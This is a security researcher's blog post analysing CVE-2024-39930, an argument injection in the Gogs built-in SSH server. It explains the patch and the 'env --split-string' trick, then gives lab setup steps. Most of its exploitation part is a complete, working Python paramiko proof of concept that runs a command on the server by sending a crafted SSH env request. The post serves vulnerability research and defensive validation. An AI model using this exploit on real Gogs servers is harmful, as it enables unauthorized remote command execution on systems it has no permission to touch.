Post

CVE-2024-39930 PoC - gogs ssh in-built server RCE

CVE-2024-39930 PoC - gogs ssh in-built server RCE

Vulnerability anaylsis and PoC Development for CVE-2024-39930

Introduction

Gogs is a lightweight and self-hosted Git service that’s simple to set up and ideal for organizations that prefer to keep their source code off third-party platforms like GitHub. While Gogs offers many of the same features as GitHub, its self-hosted nature makes it particularly attractive for internal development environments and private code repositories.

Recently, a vulnerability was discovered in Gogs versions <= 0.13.0, specifically in its built-in SSH server. This flaw allows argument injection via specially crafted SSH connections.

The vulnerability, tracked as CVE-2024-39930, is particularly dangerous when the SSH server is enabled and exposed, as it can allow attackers to execute unintended commands by manipulating environment variables passed after SSH authentication.

While the SonarSource blog post and the Vicarius write-up provide excellent analysis and explanation of the root cause of this vulnerability, no public proof-of-concept (PoC) exploit code had been released at the time of this writing.

As a security researcher and exploit developer, I decided to dive deeper into this vulnerability and craft an exploit to make testing and validation easier for both penetration testers and defenders.

Vulnerability Analysis

Gogs includes a built-in SSH server that enables users to push and pull Git repositories over SSH. This functionality can be activated by an administrator. To implement this feature, Gogs relies on the golang.org/x/crypto/ssh package, which provides an implementation of the SSH protocol, including support for authentication, session handling, and encrypted communication.

After a successful TCP connection and authentication, the Gogs SSH server begins listening for incoming requests from the client. In a typical interactive SSH session, a user might request a shell, which the server would then provide. However, in the case of Git over SSH, the interaction is non-interactive and relies on a specific sequence of SSH requests, namely env and exec.

  • The env request allows the client to set environment variables within the SSH session.

  • The exec request is used to launch a Git process such as git-upload-pack or git-receive-pack on the server, enabling Git operations like push or pull.

It is important to note that while the exec request can start a process, it is typically restricted to Git-related commands within the Gogs environment. This means the exec request cannot be freely used to execute arbitrary system commands, which is an intentional security limitation.

When reviewing the official advisory, i noticed that the linked patch commit provides valuable insight into the fix. The relevant commit can be found here: gogs/gogs#7868, and it serves as a great starting point for analyzing the vulnerability.

In this patch, we can observe that within the internal/ssh/ssh.go file, a significant portion of the code responsible for handling the env SSH request was removed from the switch case statement. This removal indicates that the env command handling was likely deemed unnecessary or insecure in the context of how Gogs processes SSH requests.

GitHub Commit Diff

The highlighted code on line 73 is particularly interesting because it executes an OS command. Its intended purpose is to set environment variables for the SSH session using a command like env <VAR_NAME>=<value>.

At first glance, command injection might seem unlikely since the arguments are passed as an array, not a raw command string. However, both the official advisory and the SonarSource blog post reveal that argument injection is still possible under certain conditions.

According to the SonarSource blog post, it is possible to inject arguments into the env command like this:

1
2
3
mcsam@0x32:~$ env --foo=bar
env: unrecognized option '--foo=bar'
Try 'env --help' for more information.

The presence of -- causes the env binary to treat the input as a command-line switch rather than an environment variable. This gives an attacker control over how env behaves and may allow them to alter its execution flow. In some scenarios, they could even supply a valid switch that leads to command execution.

When abused, it could allow an attacker to pass positional arguments directly to the command executed by env. By inspecting the env --help output, we can identify several such switches that could be misused, with --split-string being particularly relevant in this case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mcsam@0x32:~$ env --help
Usage: env [OPTION]... [-] [NAME=VALUE]... [COMMAND [ARG]...]
Set each NAME to VALUE in the environment and run COMMAND.

Mandatory arguments to long options are mandatory for short options too.
  -i, --ignore-environment  start with an empty environment
  -0, --null           end each output line with NUL, not newline
  -u, --unset=NAME     remove variable from the environment
  -C, --chdir=DIR      change working directory to DIR
  -S, --split-string=S  process and split S into separate arguments;
                        used to pass multiple arguments on shebang lines
      --block-signal[=SIG]    block delivery of SIG signal(s) to COMMAND
      --default-signal[=SIG]  reset handling of SIG signal(s) to the default
      --ignore-signal[=SIG]   set handling of SIG signals(s) to do nothing
      --list-signal-handling  list non default signal handling to stderr
  -v, --debug          print verbose information for each processing step
      --help     display this help and exit
      --version  output version information and exit

We can see this behavior in action with a simple example:

1
2
mcsam@0x32:~$ env '--split-string=echo hack'
hack

Here, the --split-string option causes env to interpret the string echo hack as a command to execute. Instead of setting an environment variable, it runs echo hack, demonstrating how an attacker could laverage this to run arbitrary commands using specially crafted input.

Exploitation

Exploitation Requirements

To successfully exploit this vulnerability, a few conditions must be met:

  • The built-in SSH server in Gogs must be enabled.
  • An authenticated user account is required. (This can be bypassed if the server allows open account registration.)

SSH In-Built Server Enabled Requirement

Administrators can verify whether the SSH server is enabled by visiting the /admin/config page in the web interface.


Setting Malicious Environment Variables

Once these conditions are met, exploitation becomes possible by injecting specially crafted environment variables through the SSH env request. However, there’s a challenge: as noted in the Vicarius write-up, the dash character (-) is not valid in environment variable names.

This poses a problem—we can’t directly use --split-string as the name of an environment variable, which is essential for triggering the vulnerable behavior in env.

1
2
3
mcsam@0x32:~$ export '--split-string=echo hack'
bash: export: --: invalid option
export: usage: export [-fn] [name[=value] ...] or export -p

Bypassing OS level Environment Variable restriction

In typical scenarios, the SSH client picks up environment variables from the local system and sends them to the server only if explicitly allowed. But what if we could bypass this behavior entirely?

Instead of relying on the client to automatically fetch environment variables from the system, we can try to directly provide the SSH client with the exact environment variable we want it to send. This would allow us to inject malicious values, such as --split-string, even though the name itself is not valid as a system environment variable.

By manually crafting the SSH request or using a custom SSH client that supports arbitrary env requests, we can override the default behavior and inject environment variables that would otherwise be blocked at the OS level. This opens the door to argument injection, even in restrictive environments.

Buckle up! In the next sections, we’ll walk through crafting a working exploit to leverage this vulnerability in Gogs.

Setting up Gogs enviroment

For readers who would like to replicate this vulnerability, I’ve created a quick automated script that sets up a vulnerable Gogs instance. This allows you to focus entirely on exploitation without getting bogged down in the setup process.

You can access the script here: Download gogs_install.sh

🛠️ Quick Setup Steps

  1. Start with a fresh VM instance.
  2. Place the gogs_install.sh script in the /root directory.
  3. Make it executable:
    1
    
      chmod +x /root/gogs_install.sh
    
  4. Run the script and wait for it to complete:
    1
    
      ./gogs_install.sh
    

Once the script finishes, you’ll have a running Gogs instance ready for testing.

As mentioned earlier, to exploit this vulnerability, you’ll need an account on the Gogs instance. If user registration is enabled, you can simply sign up through the web interface.

User Account Sign-Up

After creating your account, the next step is to generate an SSH key pair and upload your public key to your Gogs profile. This key will be used to authenticate over SSH and is required to trigger the vulnerability.

Next, navigate to your account settings page for SSH keys at: /user/settings/ssh

Paste your SSH public key into the provided field and give it a descriptive key name.

SSH Public Key Add

Once the key is added, your account is ready to authenticate over SSH.

Lastly, we’ll need to create a new repository in Gogs that we can interact with over Git-over-SSH.

Gogs Repo Create

As shown in the image above, after creating a repository, Gogs provides an SSH URL which allows us to push and pull from the repo using the SSH protocol. This is exactly what we need to trigger and test the argument injection vulnerability.


With our environment set up and SSH access configured, we can now move on to developing exploit code to target this vulnerability.

Developing a Proof of Concept

Even though the operating system restricts us from setting environment variables with invalid names (such as those starting with a dash), we can work around this limitation by using Python’s paramiko module to build a custom SSH client.

With paramiko, we can programmatically send custom environment variables during the SSH session by using the set_environment_variable() method. This method takes two arguments:

  • The environment variable name
  • The environment variable value

To demonstrate this vulnerability, we’ll build a simple SSH client using Python’s paramiko library. This allows us to send custom environment variables using the set_environment_variable() method—something standard SSH clients typically restrict.


Step 1: Connect to the Target via SSH

Start by establishing an SSH connection to the target Gogs server:

1
2
3
4
5
6
7
8
9
10
11
12
import paramiko

key = paramiko.RSAKey.from_private_key_file("/path/to/private/key") # Path to the private key
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(
    hostname="172.16.73.143",
    port=2222, # Custom port used by Gogs' in-built SSH server
    username="mcsam", # Gogs username
    pkey=key
)

Step 2: Open a Session and Send the Malicious env Request

After connecting, open a new SSH session. Then, send a malicious environment variable using the --split-string option, which allows us to pass a command that gets executed on the server.

1
2
3
4
5
6
7
session = client.get_transport().open_session()

# Inject the malicious environment variable
session.set_environment_variable("--split-string", "touch /tmp/pwneeeddddddddddd")

# Trigger Git-over-SSH with a valid repo path
session.exec_command("git-upload-pack /<user>/<repo>.git")

Step 3: Capture Output and Close the Session

Capture the output streams to observe results or errors from the command execution:

1
2
3
4
5
6
7
8
9
10
11
stdout = session.makefile('rb', 1024)
stderr = session.makefile_stderr('rb', 1024)

print("[+] STDOUT:")
print(stdout.read().decode())

print("[!] STDERR:")
print(stderr.read().decode())

session.close()
client.close()

Step 4: Final Combined Script

Here’s the complete PoC, with placeholders to be replaced:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import paramiko

key = paramiko.RSAKey.from_private_key_file("./id_rsa")
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

client.connect(
    hostname="172.16.73.143",
    port=2222,
    username="mcsam",
    pkey=key
)

session = client.get_transport().open_session()

session.set_environment_variable("--split-string", "touch /tmp/pwneeeddddddddddd")
session.exec_command("git-upload-pack /mcsam/test.git")

stdout = session.makefile('rb', 1024)
stderr = session.makefile_stderr('rb', 1024)

print("[+] STDOUT:")
print(stdout.read().decode())

print("[!] STDERR:")
print(stderr.read().decode())

session.close()
client.close()

If everything works as expected, the exploit will run without errors, and the file /tmp/pwneeeddddddddddd will be created on the target server, confirming that command execution was successful.

Verifying / Testing the Exploit

In the video below, I demonstrate a proof-of-concept exploit for the Gogs vulnerability (CVE-2024-39930):

For convenience, I’ve also created a fully automated exploit script that handles everything — from uploading SSH keys to creating a repository and executing the payload.

You can find the full exploit code on GitHub:
🔗 theMcSam/CVE-2024-39930-PoC

References

  • https://github.com/advisories/GHSA-vm62-9jw3-c8w3
  • https://www.sonarsource.com/blog/securing-developer-tools-unpatched-code-vulnerabilities-in-gogs-1/
  • https://www.vicarius.io/vsociety/posts/argument-injection-in-gogs-ssh-server-cve-2024-39930
This post is licensed under CC BY 4.0 by the author.